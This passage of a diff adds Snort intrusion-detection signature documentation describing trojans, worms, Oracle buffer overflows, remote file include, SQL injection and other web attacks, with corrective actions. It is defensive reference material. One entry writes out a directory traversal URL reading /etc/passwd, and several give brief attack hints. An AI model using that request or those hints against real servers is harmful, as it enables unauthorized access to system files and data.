+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2037.txt
+++ snort-2.8.5.2/doc/signatures/2037.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2037
+
+--
+Summary:
+Network Status Monitor (NSM) is used to indicate wether a host is up or 
+for its status.
+
+--
+Impact:
+Intelligence gathering about the current state of a host and wether rpc 
+services are available.
+
+--
+Detailed Information:
+NSM runs on client machines and informs other hosts of the status of 
+that machine should a crash or reboot occur. Each remote application 
+using an rpc service can therefore register with the host when services 
+are once again available.
+
+A request made to a machine will indicate to the attacker the status of 
+that host and will also be indicative of rpc services being available. 
+The attacker might then continue to ascertain which rpc services are 
+being offered and then launch an attack on vulnerable daemons.
+
+--
+Affected Systems:
+Any system running the service.
+
+--
+Attack Scenarios:
+An attacker merely needs to request the status of the host using rpc.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+Use the hosts.allow file to restrict the hosts able to request the 
+status of the server.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Network Status Monitor Protocol, The Open Group:
+http://www.opengroup.org/onlinepubs/009629799/chap11.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/157.txt
+++ snort-2.8.5.2/doc/signatures/157.txt
@@ -0,0 +1,103 @@
+Rule:
+
+--
+Sid:
+152, 157-158
+
+--
+Summary:
+Backdoor.Backconstruction is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data via download, upload of files, execution of files
+and reboot the targeted machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Backconstruction
+sever to programs normally started on boot. Due to the nature of this
+Trojan it is unlikely that the attacker's client IP address has been
+spoofed.
+
+	SID	Message
+	---	-------
+	152	BackConstruction 2.1 Connection (outgoing TCP
+connection)
+	157	BackConstruction 2.1 Client FTP Open Request (incoming
+TCP connection)
+	158	BackConstruction 2.1 Server FTP Open Reply (outging TCP
+connection)
+
+This Trojan is commonly used to install other Trojan programs.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is located at <drive>:\WINDOWS\Cmctl32.exe
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Shell = "<drive>:\WINDOWS\Cmctl32.exe"
+
+Removal of this entry is required.
+
+Delete the file <drive>:\WINDOWS\Cmctl32.exe
+
+Ending the Trojan process is also necessary. A reboot of the infected
+machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS505
+
+Dark-e:
+http://www.dark-e.com/archive/trojans/backc/21/index.shtml
+
+Pest Patrol:
+www.pestpatrol.com/PestInfo/b/back_construction.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2790.txt
+++ snort-2.8.5.2/doc/signatures/2790.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2790
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure publish_flavor_definition
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000604.txt
+++ snort-2.8.5.2/doc/signatures/100000604.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000604
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_send.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "inv_send.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/884.txt
+++ snort-2.8.5.2/doc/signatures/884.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+884
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the CGI web application Formmail running on a server.
+
+--
+Impact:
+Several vulnerabilities include server access, information
+disclosure, spam relaying and mail anonymizing.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access the perl cgi
+script Formmail. Early versions (1.6 and prior) had several vulnerabilities 
+(Spam engine, ability to run commands under server id and set 
+environment variables) and should be upgraded immediately. Newer 
+versions can still be used by spammers for anonymizing email and
+defeating email relay controls.
+
+--
+Affected Systems:
+	All systems running Formmail
+
+--
+Attack Scenarios:
+Information can be appended to the URL to use your
+mail gateway avoiding SMTP relay controls. HTTP header information can
+be manipulated to avoid access control methods in script. Allows SMTP
+exploits that are normally available only to trusted (local) users such
+as Sendmail % hack.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+Legitimate use of the script can cause alerts. Verify
+packet payload and watch web/mailserver logfiles.
+
+--
+False Negatives:
+If the name of the script has been changed this rule will not generate
+an event.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Kevin Binsfield (IDS@Safedge.com)
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/726.txt
+++ snort-2.8.5.2/doc/signatures/726.txt
@@ -0,0 +1,91 @@
+Rule:
+
+--
+Sid:
+726
+
+
+--
+Summary:
+This event is generated when worm activity is detected. More specifcally
+this event indicates possible "My Romeo" propogation.
+
+--
+Impact:
+Serious. The victim host may be infected with a worm.
+
+--
+Detailed Information:
+This worm propogates via electronic mail and exploits a known
+vulnerability in the way that versions of Microsoft Outlook and Internet
+Explorer handle trusted HTML pages. The worm is launched via a compiled
+HTML file (.chm) which is used by Microsoft WIndows Help.
+
+The executable part of the worm is called from within the trusted
+compiled HTML file. The worm attempts to propagate using hard coded
+addresses of SMTP servers.
+
+This worm is also Known As: Romeo and Juliet, W32/Verona, TrojBlebla.A
+
+--
+Affected Systems:
+	Microsoft Windows 9x
+	Microsoft Windows 2000
+
+--
+Attack Scenarios:
+Symantec Anti-Virus center states that the worm arrives as an email
+message that has an HTML body and two attachments named Myjuliet.chm
+and Myromeo.exe. The subject of the email is selected at random from
+the following set:
+
+Romeo&Juliet
+hello world
+subject
+ble bla, bee
+I Love You ;)
+sorry...
+Hey you !
+Matrix has you...
+my picture
+from shake-beer
+
+--
+Ease of Attack:
+Simple. This is worm activity.
+
+--
+False Positives:
+Legitimate electronic mail containing the known subject lines used by
+MyRomeo may cause this rule to generate an event.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+Use Anti-Virus software to detect and delete virus laden email.
+
+This worm makes changes to the system registry, removal of the affected
+registry keys should be done using an appropriate virus removal tool or
+by an experienced Windows administrator.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+McAfee
+http://vil.nai.com/vil/content/v_98894.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blebla.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2537.txt
+++ snort-2.8.5.2/doc/signatures/2537.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2537
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+US-Cert:
+http://www.kb.cert.org/vuls/id/150236
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2574.txt
+++ snort-2.8.5.2/doc/signatures/2574.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2574
+
+--
+Summary:
+This event is generated when a remote attacker attempts to exploit a 
+format string vulnerability against an FTP server during authentication.
+
+--
+
+Impact:
+Attempted Admin.  A successful format string attack could result in the
+execution of arbitrary code with the same privileges as the user running
+the FTP daemon.
+
+--
+
+Detailed Information:
+Several FTP daemons are vulnerable to format string exploits during
+authentication to the FTP server.  A successful exploit attempt could 
+result in the remote attacker gaining unauthorized root access to the 
+vulnerable system.
+
+--
+Affected Systems:
+	BolinTech Dream FTP Server version 1.02
+
+--
+
+Attack Scenarios:
+A remote attacker could use a publicly available script to exploit the 
+vulnerability an gain control of the target host.
+
+--
+
+Ease of Attack:
+Simple. Numerous attack scripts exist to exploit this vulnerabiliy.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1218.txt
+++ snort-2.8.5.2/doc/signatures/1218.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1218
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2607.txt
+++ snort-2.8.5.2/doc/signatures/2607.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2607
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "comment_on_repobject" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "type" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck634.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1402.txt
+++ snort-2.8.5.2/doc/signatures/1402.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1402
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000764.txt
+++ snort-2.8.5.2/doc/signatures/100000764.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000764
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "MyPHP CMS" application running on a webserver. Access to the file "global_header.php" using a remote file being passed as the "domain" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "domain" parameter in the "global_header.php" script used by the "MyPHP CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2051.txt
+++ snort-2.8.5.2/doc/signatures/2051.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2051
+
+--
+Summary:
+designated root directory of a web server.
+
+--
+Impact:
+Theft of data and important system information may be disclosed to an 
+unauthorized party.
+
+--
+Detailed Information:
+The script handling file viewing from the vendor moreover.com contains an error that allows files outside the designated root directory to be viewed in a browser.
+
+The script does not perform checks for the characters ".." when supplied
+by a user in a URL. This allows a classic directory traversal attack to 
+be performaed against the server.
+
+--
+Affected Systems:
+Version 1.0 from moreover.com
+
+--
+Attack Scenarios:
+The attacker merely needs to enter a URL using ../ to traverse the file 
+system for example:
+http://www.foo.com/cgi-bin/cached_feed.cgi?../../../etc/passwd
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to version 2.0 or later
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1762
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0906
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000744.txt
+++ snort-2.8.5.2/doc/signatures/100000744.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000744
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "MyNewsGroups" application running on a webserver. Access to the file "tree.php" with SQL commands being passed as the "grp_id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "grp_id" parameter in the "tree.php" script used by the "MyNewsGroups" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using MyNewsGroups
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000341.txt
+++ snort-2.8.5.2/doc/signatures/100000341.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000341
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "DoceboLMS" application running on a webserver. Access to the file "help.php" using a remote file being passed as the "lang" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "lang" parameter in the "help.php" script used by the "DoceboLMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using DoceboLMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2240.txt
+++ snort-2.8.5.2/doc/signatures/2240.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+2240
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in PDGSoft Shopping Cart.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+Certain versions of PDGSoft Shopping Cart suffer from a buffer overflow 
+condition that can present an attacker with the opportunity to execute 
+arbitrary code of their choosing.
+
+The vulnerable executable files are redirect.exe and changepw.exe, which
+can be accessed via the web interface.
+
+--
+Affected Systems:
+	PDGSoft Shopping Cart 1.50
+
+--
+Attack Scenarios:
+The attacker needs to supply an overly long string to either of the 
+affected executables.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1256
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1103.txt
+++ snort-2.8.5.2/doc/signatures/1103.txt
@@ -0,0 +1,64 @@
+Rule:
+--
+Sid:
+1103
+--
+Summary:
+This event is generated when a client is requesting a file that may 
+contain an administrator name and password.
+
+--
+Impact:
+An attacker may be able to gain administrator access to your web server.
+
+--
+Detailed Information:
+Some versions of Netscape Enterprise Server  put a world readable text 
+file containing the administrator user name and encrypted password in a 
+standard location within the URI space. By acessing this, an attacker 
+may be able to brute force guess or even decrypt the password.
+
+--
+Affected Systems:
+	Netscape Enterprise/3.6 SP3
+	Netscape Fasttrack/3.0.2
+	Netscape Messaging Server/3.6
+	Netscape Messaging Server/4.15p2
+	Netscape Collabra Server/3.54
+
+--
+Attack Scenarios:
+This is an information gathering operation that could allow an attacker 
+to execute a brute force password guessing attack.
+
+--
+Ease of Attack:
+Moderate.   The file is easy enough to get access to, but the password 
+is still encrypted.
+
+--
+False Positives:
+None.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Set appropriate permissions on this file or upgrade your web server 
+software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+Secureiteam
+http://www.securiteam.com/securitynews/5OR040A1UG.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1485.txt
+++ snort-2.8.5.2/doc/signatures/1485.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+1485
+ 
+--
+Summary:
+This event is generated when an attempt is made to access the file mkilog.exe.
+
+--
+Impact:
+Remote access.  This attack may permit the execution of arbitrary commands on the vulnerable server.
+
+--
+Detailed Information:
+This mkilog.exe is a Common Gateway Interface (CGI) script that can be used to view and modify SQL database contents.  It posts data to another module, ctss,idc, that creates a table based on the parameters passed to it.  If an attacker passes parameters such as a valid username and password to create a table, it may be possible to alter the table to execute commands on the vulnerable server.
+
+--
+Affected Systems:
+
+
+Attack Scenarios:
+An attacker can attempt to exploit this vulnerability to execute remote commands on the vulnerable server. 
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Delete file /scripts/tools/ctss.idc
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10359
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1660.txt
+++ snort-2.8.5.2/doc/signatures/1660.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Don't have affected systems
+Sid:
+1660
+ 
+--
+Summary:
+This event is generated when an attempt is made to trace previous web requests on the vulnerable server.
+
+--
+Impact:
+Information gathering.  This attack may permit viewing sensitive information such as Session ID values and the paths associated with the web requests.
+
+--
+Detailed Information:
+Microsoft ASP.NET is software used for developing web applications.  It may have tracing enabled to view the previous 50 web requests to the server. At attacker may view sensitive information such as Session ID values and the paths associated withe previous web requests.
+
+--
+Affected Systems:
+
+
+Attack Scenarios:
+An attacker can attempt to access the traced requests to gather information.
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Set <trace enabled=false> in web.config
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10993
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2741.txt
+++ snort-2.8.5.2/doc/signatures/2741.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2741
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
